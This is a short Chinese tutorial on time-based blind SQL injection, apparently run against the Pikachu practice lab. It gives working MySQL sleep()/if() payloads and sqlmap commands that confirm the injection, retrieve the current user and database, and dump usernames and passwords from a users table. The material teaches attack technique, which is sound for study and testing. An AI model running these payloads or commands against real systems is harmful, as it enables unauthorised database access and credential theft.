SQL注入手册-时间延迟注入
1.1时间延迟注入简介:
时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型
注入获取数据而采用一种突破注入的技巧。
在 mysql 里 函数 sleep() 是延时的意思,sleep(10)就是 数据库延时 10 秒返回内
容。判断注入可以使用’and sleep(10) 数据库延时 10 秒返回值 网页响应时间至少
要 10 秒 根据这个原理来判断存在 SQL 时间注入。
mysql 延时注入用到的函数 sleep() 、if()、substring()
select if(2>1,sleep(10),0) 2>1 这个部分就是你注入要构造的 SQL 语句。
select if(length(database())>1,sleep(5),0) 这个就是查询当前库大于 1 就会延时 5 秒
执行。
1.2注入案例演示:
原理与布尔型盲注入一样,这里我们直接采用sqlmap这个自动化工具,开始注入:
sqlmap -u “http://192.168.141.130/06/vul/sqli/sqli_str.php?name=vince&submit=1” -p
name -v 1 --technique=T
-u 表示检测的 url
-p 指定的检测参数
-v 显示调试模式
–technique=T 检测方法为时间注入
结果如图显示,确实为基于时间延迟的盲注入。
sqlmap 检测为时间注入 接下来进行 通过这个注入获取数据库的名 用户权限,
表 字段等敏感信息的获取。
sqlmap -u “http://192.168.141.130/06/vul/sqli/sqli_str.php?name=vince&submit=1” -p
name -v 1 --technique=T --current-user --current-db --batch
–current-user 获取用户
–current-db 当前库
–batch 使用默认模式 自动 y
sqlmap 查询账号和密码
sqlmap -u “http://192.168.141.130/06/vul/sqli/sqli_str.php?name=vince&submit=1” -p
name -v 1 --technique=T --dump -C “id,username,password” -T users -D pikachu --batch
–dump 导出数据
-C 指定查询的字段